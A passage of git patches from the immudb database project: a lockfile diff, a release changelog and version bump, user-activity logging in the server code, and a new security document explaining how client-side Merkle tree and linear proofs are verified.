"==1.56.4" - }, - "grpcio": { - "hashes": [ - "sha256:0388da923dff58ba7f711233e41c2b749b5817b8e0f137a107672d9c15a1009c", - "sha256:059e9d58b5aba7fb9eabe3a4d2ac49e1dcbc2b54b0f166f6475e40b7f4435343", - "sha256:0ecba22f25ccde2442be7e7dd7fa746905d628f03312b4a0c9961f0d99771f53", - "sha256:111fb2f5f4a069f331ae23106145fd16dd4e1112ca223858a922068614dac6d2", - "sha256:13dad31f5155fa555d393511cc8108c41b1b5b54dc4c24c27d4694ddd7a78fad", - "sha256:1f3f142579f58def64c0850f0bb0eb1b425ae885f5669dda5b73ade64ad2b753", - "sha256:2138c50331232f56178c2b36dcfa6ad67aad705fe410955f3b2a53d722191b89", - "sha256:34f5917f0c49a04633dc12d483c8aee6f6d9f69133b700214d3703f72a72f501", - "sha256:41b65166779d7dafac4c98380ac19f690f1c5fe18083a71d370df87b24dd30ff", - "sha256:448d397fe88e9fef8170f019b86abdc4d554ae311aaf4dbff1532fde227d3308", - "sha256:4a049a032144641ed5d073535c0dc69eb6029187cc729a66946c86dcc8eec3a1", - "sha256:59284bd4cdf47c147c26d91aca693765318d524328f6ece2a1a0b85a12a362af", - "sha256:5bd8541c4b6b43c9024496d30b4a12346325d3a17a1f3c80ad8924caed1e35c3", - "sha256:5fe3af539d2f50891ed93aed3064ffbcc38bf848aa3f7ed1fbedcce139c57302", - "sha256:60843d8184e171886dd7a93d6672e2ef0b08dfd4f88da7421c10b46b6e031ac4", - "sha256:656c6f6f7b815bca3054780b8cdfa1e4e37cd36c887a48558d00c2cf85f31697", - "sha256:7b820696a5ce7b98f459f234698cb323f89b355373789188efa126d7f47a2a92", - "sha256:7cccbf6db31f2a78e1909047ff69620f94a4e6e53251858e9502fbbff5714b48", - "sha256:7cebcf645170f0c82ef71769544f9ac4515993a4d367f5900aba2eb4ecd2a32f", - "sha256:7df637405de328a54c1c8c08a3206f974c7a577730f90644af4c3400b7bfde2d", - "sha256:7ec264a7fb413e0c804a7a48a6f7d7212742955a60724c44d793da35a8f30873", - "sha256:877d33aeba05ae0b9e81761a694914ed33613f655c35f6bbcf4ebbcb984e0167", - "sha256:8af3a8845df35b838104d6fb1ae7f4969d248cf037fa2794916d31e917346f72", - "sha256:8dcffdb8921fd88857ae350fd579277a5f9315351e89ed9094ef28927a46d40d", - "sha256:8f9b6b6f7c83869d2316c5d13f953381881a16741275a34ec5ed5762f11b206e", - "sha256:9daa67820fafceec6194ed1686c1783816e62d6756ff301ba93e682948836846", - "sha256:9e73b95969a579798bfbeb85d376695cce5172357fb52e450467ceb8e7365152", - "sha256:a1ef40975ec9ced6c17ce7fbec9825823da782fa606f0b92392646ff3886f198", - "sha256:a2b1b33b92359388b8164807313dcbb3317101b038a5d54342982560329d958f", - "sha256:a4ed57f4e3d91259551e6765782b22d9e8b8178fec43ebf8e1b2c392c4ced37b", - "sha256:ae3fd135666448058fe277d93c10e0f18345fbcbb015c4642de2fa3db6f0c205", - "sha256:af2d80f142da2a6af45204a5ca2374e2747af07a99de54a1164111e169a761ff", - "sha256:b4e996282238943ca114628255be61980e38b25f73a08ae2ffd02b63eaf70d3a", - "sha256:b890e5f5fbc21cb994894f73ecb2faaa66697d8debcb228a5adb0622b9bec3b2", - "sha256:beb0573daa49889efcfea0a6e995b4f39d481aa1b94e1257617406ef417b56a6", - "sha256:c84b9d90b2641963de98b35bb7a2a51f78119fe5bd00ef27246ba9f4f0835e36", - "sha256:cba4538e8a2ef123ea570e7b1d62162e158963c2471e35d79eb9690c971a10c0", - "sha256:cc3ebfe356c0c6750379cd194bf2b7e5d1d2f29db1832358f05a73e9290db98c", - "sha256:cd01a8201fd8ab2ce496f7e65975da1f1e629eac8eea84ead0fd77e32e4350cd", - "sha256:ce70254a082cb767217b2fdee374cc79199d338d46140753438cd6d67c609b2f", - "sha256:dc2619a31339e1c53731f54761f1a2cb865d3421f690e00ef3e92f90d2a0c5ae", - "sha256:e4dfae66ebc165c46c5b7048eb554472ee72fbaab2c2c2da7f9b1621c81e077c", - "sha256:eaf4bb73819863440727195411ab3b5c304f6663625e66f348e91ebe0a039306", - "sha256:f4c4ad8ad7e2cf3a272cbc96734d56635e6543939022f17e0c4487f7d2a45bf9", - "sha256:f7115038edce33b494e0138b0bd31a2eb6595d45e2eed23be46bc32886feb741", - "sha256:f8bc76f5cd95f5476e5285fe5d3704a9332586a569fbbccef551b0b6f7a270f9" - ], - "version": "==1.48.0" - }, - "idna": { - "hashes": [ - "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", - "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d" - ], - "version": "==3.3" - }, - "immudb-py": { - "hashes": [ - "sha256:441e6e2cc31e869ceaf1c13c225adadc364f26f1f6341181f5b6d1b48e22ed2f", - "sha256:8c735072ac33b42b2bed1c573ed57fd624cc4eb2572b7e13616bb8106ce8e090" - ], - "index": "pypi", - "version": "==1.3.1" - }, - "protobuf": { - "hashes": [ - "sha256:06059eb6953ff01e56a25cd02cca1a9649a75a7e65397b5b9b4e929ed71d10cf", - "sha256:097c5d8a9808302fb0da7e20edf0b8d4703274d140fd25c5edabddcde43e081f", - "sha256:284f86a6207c897542d7e956eb243a36bb8f9564c1742b253462386e96c6b78f", - "sha256:32ca378605b41fd180dfe4e14d3226386d8d1b002ab31c969c366549e66a2bb7", - "sha256:3cc797c9d15d7689ed507b165cd05913acb992d78b379f6014e013f9ecb20996", - "sha256:62f1b5c4cd6c5402b4e2d63804ba49a327e0c386c99b1675c8a0fefda23b2067", - "sha256:69ccfdf3657ba59569c64295b7d51325f91af586f8d5793b734260dfe2e94e2c", - "sha256:6f50601512a3d23625d8a85b1638d914a0970f17920ff39cec63aaef80a93fb7", - "sha256:7403941f6d0992d40161aa8bb23e12575637008a5a02283a930addc0508982f9", - "sha256:755f3aee41354ae395e104d62119cb223339a8f3276a0cd009ffabfcdd46bb0c", - "sha256:77053d28427a29987ca9caf7b72ccafee011257561259faba8dd308fda9a8739", - "sha256:7e371f10abe57cee5021797126c93479f59fccc9693dafd6bd5633ab67808a91", - "sha256:9016d01c91e8e625141d24ec1b20fed584703e527d28512aa8c8707f105a683c", - "sha256:9be73ad47579abc26c12024239d3540e6b765182a91dbc88e23658ab71767153", - "sha256:adc31566d027f45efe3f44eeb5b1f329da43891634d61c75a5944e9be6dd42c9", - "sha256:adfc6cf69c7f8c50fd24c793964eef18f0ac321315439d94945820612849c388", - "sha256:af0ebadc74e281a517141daad9d0f2c5d93ab78e9d455113719a45a49da9db4e", - "sha256:cb29edb9eab15742d791e1025dd7b6a8f6fcb53802ad2f6e3adcb102051063ab", - "sha256:cd68be2559e2a3b84f517fb029ee611546f7812b1fdd0aa2ecc9bc6ec0e4fdde", - "sha256:cdee09140e1cd184ba9324ec1df410e7147242b94b5f8b0c64fc89e38a8ba531", - "sha256:db977c4ca738dd9ce508557d4fce0f5aebd105e158c725beec86feb1f6bc20d8", - "sha256:dd5789b2948ca702c17027c84c2accb552fc30f4622a98ab5c51fcfe8c50d3e7", - "sha256:e250a42f15bf9d5b09fe1b293bdba2801cd520a9f5ea2d7fb7536d4441811d20", - "sha256:ff8d8fa42675249bb456f5db06c00de6c2f4c27a065955917b28c4f15978b9c3" - ], - "version": "==3.20.1" - }, - "pyasn1": { - "hashes": [ - "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", - "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", - "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", - "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", - "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", - "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", - "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", - "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", - "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", - "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", - "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", - "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", - "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" - ], - "version": "==0.4.8" - }, - "pyasn1-modules": { - "hashes": [ - "sha256:0845a5582f6a02bb3e1bde9ecfc4bfcae6ec3210dd270522fee602365430c3f8", - "sha256:0fe1b68d1e486a1ed5473f1302bd991c1611d319bba158e98b106ff86e1d7199", - "sha256:15b7c67fabc7fc240d87fb9aabf999cf82311a6d6fb2c70d00d3d0604878c811", - "sha256:426edb7a5e8879f1ec54a1864f16b882c2837bfd06eee62f2c982315ee2473ed", - "sha256:65cebbaffc913f4fe9e4808735c95ea22d7a7775646ab690518c056784bc21b4", - "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e", - "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74", - "sha256:a99324196732f53093a84c4369c996713eb8c89d360a496b599fb1a9c47fc3eb", - "sha256:b80486a6c77252ea3a3e9b1e360bc9cf28eaac41263d173c032581ad2f20fe45", - "sha256:c29a5e5cc7a3f05926aff34e097e84f8589cd790ce0ed41b67aed6857b26aafd", - "sha256:cbac4bc38d117f2a49aeedec4407d23e8866ea4ac27ff2cf7fb3e5b570df19e0", - "sha256:f39edd8c4ecaa4556e989147ebf219227e2cd2e8a43c7e7fcb1f1c18c5fd6a3d", - "sha256:fe0644d9ab041506b62782e92b06b8c68cca799e1a9636ec398675459e031405" - ], - "version": "==0.2.8" - }, - "requests": { - "hashes": [ - "sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983", - "sha256:8fefa2a1a1365bf5520aac41836fbee479da67864514bdb821f31ce07ce65349" - ], - "version": "==2.28.1" - }, - "rsa": { - "hashes": [ - "sha256:90260d9058e514786967344d0ef75fa8727eed8a7d2e43ce9f4bcf1b536174f7", - "sha256:e38464a49c6c85d7f1351b0126661487a7e0a14a50f1675ec50eb34d4f20ef21" - ], - "markers": "python_version >= '3.6'", - "version": "==4.9" - }, - "six": { - "hashes": [ - "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", - "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" - ], - "version": "==1.16.0" - }, - "urllib3": { - "hashes": [ - "sha256:3fa96cf423e6987997fc326ae8df396db2a8b7c667747d47ddd8ecba91f4a74e", - "sha256:b930dd878d5a8afb066a637fbb35144fe7901e3b209d1cd4f524bd0e9deee997" - ], - "version": "==1.26.12" - } - }, - "develop": {} -} From e512022c8157e77ef85ebb7f5b51d3f3c87ae6a2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 16 Nov 2022 11:09:02 +0100 Subject: [PATCH 0031/1062] release: 1.4.1-RC1 --- CHANGELOG.md | 50 +++++++++++++++++++++++++++++++++++++++++++++++++- Makefile | 2 +- 2 files changed, 50 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ed56bc2cec..385f862b13 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,53 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.4.1-RC1] - 2022-11-16 +### Bug Fixes +- Change replication-related terms in codebase +- Change replication-related terms in tests +- **cmd:** Rename replication flags to follow consistent convention +- **cmd/immudb:** Better description of the `--force-admin-password` flag +- **cmd/immudb:** Fix description of the `force-admin-password` flag +- **embedded/appendable:** fsync parent directory +- **embedded/appendable:** fsync parent folder in remote appedable +- **pkg:** Rename replication-related fields in GRPC protocol +- **pkg/client:** Delay server identity validation +- **pkg/client/cache:** Add methods to validate server identity +- **pkg/client/cache:** Validate server's identity +- **pkg/server:** Remove includeDeactivated flag when querying for users +- **pkg/server/servertest:** Add uuid to buffconn server +- **pkg/server/servertest:** Fix resetting grpc connection +- **test/perf-test-suite:** Avoid dumping immudb logo on perf test results file +- **test/performance-test-suite:** Ensure results are shown after proper is finished +- **verification:** Additional Linear proof consistency check +- **verification:** Recreate linear advance proofs for older servers + +### Changes +- **ci:** migrate deprecating set-output commands +- **cmd/immudb:** Allow resetting sysadmin password +- **docs/security:** Be less specific about package version in examples +- **docs/security:** Add resources for the linear-fake vulnerability +- **embedded/appendable:** sync directories +- **embedded/store:** Disable asynchronous AHT generation +- **embedded/store:** Remove AHT Wait Hub +- **pkg/client:** Document `WithDisableIdentityCheck` option +- **pkg/client/cache:** Describe serverIdentity parameter +- **pkg/client/cache:** Limit the hash part of the identity file name +- **pkg/client/state:** Cleanup mutex handling in StateService +- **pkg/server:** Warn if sysadmin user password was not reset +- **pkg/server:** Better warning for unchanged admin password +- **test/performance-test-suite:** Add summary to json output + +### Features +- **ci:** fix message and input +- **ci:** add runner name to mattermost message header +- **ci:** simplify results extraction +- **ci:** extract performance tests into separate workflow to be reused +- **ci:** add scheduled daily test runs and send results to Mattermost +- **pkg/replication:** Disable server's identity check in internal replication + + ## [v1.4.0] - 2022-10-12 ### Bug Fixes @@ -3093,7 +3140,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.4.0...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...HEAD +[v1.4.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.0...v1.4.1-RC1 [v1.4.0]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC2...v1.4.0 [v1.4.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC1...v1.4.0-RC2 [v1.4.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.3.2...v1.4.0-RC1 diff --git a/Makefile b/Makefile index eaa72d60a4..c598226bb1 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.4.0 +VERSION=1.4.1-RC1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 From 92e94c4db397b8df2ca21b7bd4e5d7d416d90e0e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 16 Nov 2022 11:26:04 +0100 Subject: [PATCH 0032/1062] chore(pkg/server): Add logs for activities related to users MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/server/server.go | 23 +++++++++++++++-------- pkg/server/server_test.go | 10 +++++----- pkg/server/user.go | 11 +++++++++++ 3 files changed, 31 insertions(+), 13 deletions(-) diff --git a/pkg/server/server.go b/pkg/server/server.go index b4f0b99c0f..26d35d3d39 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -379,34 +379,34 @@ func (s *ImmuServer) printUsageCallToAction() { } } -func (s *ImmuServer) resetAdminPassword(adminPassword string) error { +func (s *ImmuServer) resetAdminPassword(adminPassword string) (bool, error) { if s.sysDB.IsReplica() { - return errors.New("database is running as a replica") + return false, errors.New("database is running as a replica") } adminUser, err := s.getUser([]byte(auth.SysAdminUsername)) if err != nil { - return fmt.Errorf("could not read sysadmin user data: %v", err) + return false, fmt.Errorf("could not read sysadmin user data: %v", err) } err = adminUser.ComparePasswords([]byte(adminPassword)) if err == nil { // Password is as expected, do not overwrite it to avoid unnecessary // transactions in systemdb - return nil + return false, nil } _, err = adminUser.SetPassword([]byte(adminPassword)) if err != nil { - return err + return false, err } err = s.saveUser(adminUser) if err != nil { - return err + return false, err } - return nil + return true, nil } func (s *ImmuServer) loadSystemDatabase( @@ -435,11 +435,18 @@ func (s *ImmuServer) loadSystemDatabase( } if forceAdminPasswordReset { - err := s.resetAdminPassword(adminPassword) + changed, err := s.resetAdminPassword(adminPassword) if err != nil { s.Logger.Errorf("Can not reset admin password, %v", err) return ErrCantUpdateAdminPassword } + + if changed { + s.Logger.Warningf("Admin password was reset to the value specified in options") + } else { + s.Logger.Infof("Admin password update was not needed") + } + } else if adminPassword != auth.SysAdminPassword { // Add warning that the password is not changed even though manually specified user, err := s.getUser([]byte(auth.SysAdminUsername)) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index faa0d9c769..823ba79115 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -250,7 +250,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err := s.Initialize() require.NoError(t, err) - err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword("newPassword") require.ErrorContains(t, err, "database is running as a replica") }) @@ -266,7 +266,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err = s.CloseDatabases() require.NoError(t, err) - err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword("newPassword") require.ErrorContains(t, err, "could not read sysadmin user data") }) @@ -282,7 +282,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err = s.CloseDatabases() require.NoError(t, err) - err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword("newPassword") require.ErrorContains(t, err, "could not read sysadmin user data") }) @@ -295,7 +295,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { err := s.Initialize() require.NoError(t, err) - err = s.resetAdminPassword("") + _, err = s.resetAdminPassword("") require.ErrorContains(t, err, "password is empty") }) @@ -314,7 +314,7 @@ func TestResetAdminPasswordCornerCases(t *testing.T) { DB: s.sysDB, setErr: injectedErr, } - err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword("newPassword") require.ErrorIs(t, err, injectedErr) }) } diff --git a/pkg/server/user.go b/pkg/server/user.go index 3b5dd47439..e5fe09c99c 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -140,6 +140,8 @@ func (s *ImmuServer) CreateUser(ctx context.Context, r *schema.CreateUserRequest return nil, err } + s.Logger.Infof("user %s was created by user %s", r.User, loggedInuser.Username) + return &empty.Empty{}, nil } @@ -343,6 +345,8 @@ func (s *ImmuServer) ChangePassword(ctx context.Context, r *schema.ChangePasswor return nil, err } + s.Logger.Infof("password for user %s was changed by user %s", targetUser.Username, user.Username) + // remove user from logged in users s.removeUserFromLoginList(targetUser.Username) @@ -428,6 +432,8 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi return nil, err } + s.Logger.Infof("permissions of user %s for database %s was changed by user %s", targetUser.Username, r.Database, user.Username) + //remove user from loggedin users s.removeUserFromLoginList(targetUser.Username) @@ -483,6 +489,11 @@ func (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserR return nil, err } + s.Logger.Infof("user %s was %s by user %s", targetUser.Username, map[bool]string{ + true: "activated", + false: "deactivated", + }[r.Active], user.Username) + //remove user from loggedin users s.removeUserFromLoginList(targetUser.Username) From 656aaaee0a33c2d5a507443b3348686e44907fb9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 16 Nov 2022 14:13:41 +0100 Subject: [PATCH 0033/1062] docs(security): Add documentation for client-side proofs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- docs/security/PROOFS.md | 481 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 481 insertions(+) create mode 100644 docs/security/PROOFS.md diff --git a/docs/security/PROOFS.md b/docs/security/PROOFS.md new file mode 100644 index 0000000000..66dda6467e --- /dev/null +++ b/docs/security/PROOFS.md @@ -0,0 +1,481 @@ +# Technical description of immudb proofs + +This document describes immudb data structures and algorithms for +verification of data written to immudb. + +## Data structures used in immudb + +### Abbreviations + +- **Alh** - Accumulated Linear Hash +- **Bl** - Binary Linking +- **EH** - Entries Hash + +### Main Merkle Tree + +Each database has one main [Merkle Tree][mtree] where its inputs +are built from transaction hashes (`Alh`). This tree is persisted in the +storage layer. It is also appendable - each new transaction adds one extra +leaf node with transaction hash (`Alh`) and rebuilds the path to the root. + +### Internal Merkle Tree + +Each transaction contains its internal [Merkle Tree][mtree] built from Key-Value-Metadata +entries that are part of that single transaction. The root hash of that Merkle Tree (`EH`) +along with transaction metadata and additional linear proof information is used to +build the transaction hash that is then input for the main [Merkle Tree][mtree]. +This tree is not stored on disk and is recalculated on-demand from data that is building +up the transaction. + +[mtree]: https://en.wikipedia.org/wiki/Merkle_tree. + +### Linear proof + +The additional linear proof for the transaction is a mechanism implemented in immudb +that is meant for handling peak transaction writes where the writes are much faster +than the main [Merkle Tree][mtree] recalculation. It also forms a linear chain +for all transactions since the beginning of the database. + +```mermaid +flowchart LR + subgraph linear chain + subgraph TX0 [TX n-1] + TD0[TX data] --> Alh0[Alh] + end + + Alh0 ==> Alh1 + subgraph TX1 [TX n] + TD1[TX data] --> Alh1[Alh] + end + + Alh1 ==> Alh2 + subgraph TX2 [TX n+1] + TD2[TX data] --> Alh2[Alh] + end + + Alh2 ==> Alh3 + subgraph TX3 [TX n+2] + TD3[TX data] --> Alh3[Alh] + end + end +``` + +Due to the linear chain, the Hash for each transaction is called **Accumulated Linear Hash**. + +Subsequent `Alh` values from the transaction are inputs into the main Merkle Tree. + +In a standard immudb installation, the length of the linear proof is limited to only 1 entry. + +## State value stored on clients + +In order to request consistency proofs, the client keeps information about the database +at a specific transaction. This information is the `Alh` value of the committed transaction. + +Since the `Alh` is built from a chain of subsequent `Alh` values from previous transactions, +it is accumulating the whole history of the database. + +In addition to the linear proof, each transaction also embeds the main Merkle +Tree hash (`BlRoot`) and its size (`BlTxID`) at the time when the transaction was committed. + +The main Merkle Tree is then used to optimize generation of proofs. +The part of the proof that deals with the history of the database up to and including `BlTxID` +is done using the Merkle Tree (logarithmic complexity), the rest is done using the remaining +part of the linear proof that fills in the gap until the current transaction. + +```mermaid +flowchart TB + subgraph linear chain + direction LR + Alh0 --> Alh1 + Alh1 --> Alh2 + Alh2 --> Alh3 + Alh3 --> Alh4 + Alh4 --> Alh5 + Alh5 --> Alh6 + Alh6 --> Alh7 + end + + subgraph Main Merkle Tree + Alh0 -.-> node1 + Alh1 -.-> node1 + Alh2 -.-> node2 + Alh3 -.-> node2 + Alh4 -.-> node3 + node1 --> node4 + node2 --> node4 + node4 --> BlRoot + node3 --> BlRoot + end + + BlRoot -.-> Alh7 +``` + +In the example above, the proof for inclusion of `Alh5`, `Alh6` or `Alh7` +can be conducted using only the linear proof only. For the inclusion of `Alh1`, +first the inclusion in the merkle tree is performed - that is the proof of inclusion +in the history up to the `BlTxID` transaction (equivalent of linear proof until +the `Alh4` node) followed by the linear proof until the `Alh7` node. + +The length of the linear proof up to the point where the Merkle Tree can be used +should be kept at a sane level to avoid long linear proofs. Current version of immudb +does not allow a linear proof length to be greater than 1 by ensuring the main +Merkle Tree is updated as a part of the transaction commit phase. + +## Advancing state of proofs for a single transaction + +At the first step, each Key-Value-Metadata entry within a single transaction is hashed. +From the list of hashes, an internal Merkle tree is built. The root of this inner tree +is called `EH`. `EH` itself is a cumulative hash for all entries being part of +a single transaction without any additional information such as transaction ID or timestamp. +That also means that there can be multiple transaction having the same `EH` value +within a single immudb instance. + +Additional `inner hash` is built by hashing the following fields of the transaction: +Transaction Timestamp, Header Version, Transaction metadata, number of entries, +`EH` and the main merkle tree state at the commit time: `BlTxID` and `BlRoot`. +This `inner hash` contains more information than a single `EH` value, +however it is still possible (but with pretty small probability in a common setup) +that there will be two transactions sharing the same `inner hash` +within the same immudb database. + +The final hash built for a single transaction is `Alh`. That hash is built +by hashing the following: Transaction ID, `Alh` of a previous transaction and the `inner hash`. + +```mermaid +flowchart TB + subgraph TX [Transaction] + direction TB + subgraph TXM [TX merkle tree] + KVM[Key-Value-Metadata] -- EntrySpecDigest function --> ESD + ESD0[EntrySpec digest] --> EH + ESD[EntrySpec digest] -- Build TX merkle tree --> EH + ESD2[EntrySpec digest] --> EH + EH[EH] + end + + TS[Timestamp] --> IH[Inner hash] + VER[Header Version] --> IH + MD[TX Metadata] --> IH + NE[Number of entries] --> IH + BlRoot --> IH + BlTxID --> IH + EH --> IH + + PrevAlh --> Alh + TxID --> Alh + IH --> Alh + end +``` + +The `Alh` hash is the input value (leaf) for the main Merkle Tree for a single database. +Whenever a new transaction is committed, its `Alh` value is then added to the main Merkle Tree. + +Since the `Alh` of given transaction is built from hash of previous transaction, consecutive `Alh` +hashes form a chain where given `Alh` is signing the whole immudb state up till given transaction. +In addition to that, the inner hash is also built from the current main merkle tree state +(`BlTxID` - number of transactions already hashed in the main Merkle Tree, `BlRoot` - root hash +of the main Merkle Tree at the `BlTxID` transaction). From the `Alh` then we can perform a linear +proof until any point back in the history (which has linear complexity), +but once the `BlTxID` entry is reached, a more efficient proof can be generated using the main +Merkle Tree (which has logarithmic complexity). + +## Verification of a single entry + +The verification of a single entry is performed in two steps. +During the first step, the verification is performed on the transaction level to ensure that +the entry is a part of the transaction. Once the transaction is verified, additional proof +is conducted in the main merkle tree and linear proof level (thus its called Dual Proof) +that ensures that the transaction itself is valid. + +### TX internal Merkle Tree verification + +#### Step 1. Calculating entry digest + +First the digest of Key-Value-Metadata entry is calculated. The calculation method depends +on the transaction context (TX Header Version) - which was necessary change in order to handle +entry metadata. + +Note: If the returned value is a reference, we perform the proof for the reference entry, +not the value itself. + +**Inputs:** +Key, +Value, +Metadata, +Tx Header Version + +**Output:** +KVM Digest + +**Failure when:** +The KVM has incorrect / insane values (e.g. metadata can not be interpreted correctly, key or value length is beyond limits) + +**Code references:** + +- +- +- + +#### Step 2. TX Inclusion proof + +The Digest calculated in the previous step is then used to validate the inclusion proof +within the TX Merkle Tree. This proof consist of hashes within the TX Merkle Tree needed +to build the root hash of the tree (`EH`). The calculated `EH` value is then compared +with the value retrieved form the `DualProof` part given from the server. + +**Inputs:** +KVM Digest, +Position within transaction (`proof.Leaf`), +Transaction size (`proof.Width`), +Inclusion Proof (`proof.Terms`) + +**Output:** +the root of the Transaction Merkle Tree (`EH`) + +**Failure when:** +The inclusion proof is invalid (not enough terms, zero tree width, leaf number beyond limits), +`EH` value does not match the `EH` value from `DualProof` + +**Code references:** + +- +- + +### DualProof - proof of inclusion of the transaction in database state + +The dual proof serves two purposes - 1) it ensures that the validated Accumulative Linear Hash (`Alh`) +is correct and is a part of the database state (inclusion proof in the main merkle tree +along with the linear proof) and 2) that the history of the database transactions is consistent +with some older state that the client has seen in previous operations (merkle consistency proof and linear proofs). + +Two transactions - the previously stored one and the one at which the value was retrieved - are ordered. +The earlier one is the SourceTX, the latter one is the TargetTX. The dual proof is meant to ensure that +SourceTx is consistent part of the history of TargetTX. + +**Code references:** + +- + +#### Step 3. Validate Alh values for source and target transactions + +For both the SourceTX and the TargetTX transactions, server sends transaction headers - those include +information that can be used to calculate the `Alh` values. + +For both states (sourceAlh and targetAlh) this step proves that all the information building up +given transaction is correct. This is especially important in case of the link to `BlRoot` and +`BlTxId` used in that transaction to make sure that the part of the proof done on that tree +properly links to the linear proof ending up with `Alh`. + +**Inputs:** +SourceTxHeader, +SourceAlh, +TargetTxHeader, +TargetAlh + +**Outputs:** +none + +**Failure when:** +Calculated `SourceAlh` and `TargetAlh` do not match expected values. + +#### Step 4. Verify consistency of the SourceTXAlh in target Merkle Tree + +If the SourceTx can be checked within the target Merkle Tree +(so that the target merkle tree was built up until at least the SourceTx transaction), +the SourceAlh is directly checked if it is a part of the Target Merkle tree. + +If the SourceTx was not yet included in the target Merkle Tree, +the SourceAlh is validated against the linear proof from the TargetTx in steps that follow. + +**Inputs:** +SourceTxID, +SourceAlh, +dualproof.InclusionProof, +TargetTxBlTxID, +TargetTxBlRoot + +**Outputs:** +none + +**Failure when:** +Can not prove inclusion of SourceAlh in the Target Merkle Tree + +**Code references:** + +- + +#### Step 5. Verify consistency between main merkle trees at SourceTX and TargetTX + +Since TargetTX is after the SourceTX, this means that the main Merkle tree observed +in the TargetTX will be at least that one in the SourceTX. It can only contain new entries appended. +That property is validated with the consistency check. + +**Inputs:** +SourceTxBlTxID, +SourceTxBlRoot, +TargetTxBlTxID, +TargetTxBlRoot, +dualproof.ConsistencyProof + +**Outputs:** +none + +**Failure when:** +Can not prove consistency of source Merkle Tree and target Merkle Tree + +**Code references:** + +- + +#### Step 6. Verify consistency of the last element of the target Merkle Tree + +The `BlTxAlh` value is the `Alh` value of the transaction indexed at the `BlTxID` transaction. +This value must be the last leaf of that Merkle Tree. It is important to check this property +since we must be sure that there's continuity between the Merkle tree and the linear proof. +To do this, an inclusion proof is calculated for the last element of the merkle tree. + +**Inputs:** +TargetTxBlTxID, +TargetTxBlTxAlh, +TargetTxBlRoot, +dualproof.LastInclusionProof + +**Outputs:** +none + +**Failure when:** +The last element of the Target Merkle Tree can not be proven + +**Code references:** + +- + +#### Step 7. Verify linear proof for the TargetAlh + +If already included in the Target Merkle Tree, the `SourceAlh` is proven to be included +in the target Merkle Tree in step 4. In that case, it is necessary to check the linear proof that +extends beyond the target Merkle Tree. This linear proof starts at target `BlTxID` and ends at `TargetTxID`. + +```mermaid +flowchart LR + subgraph 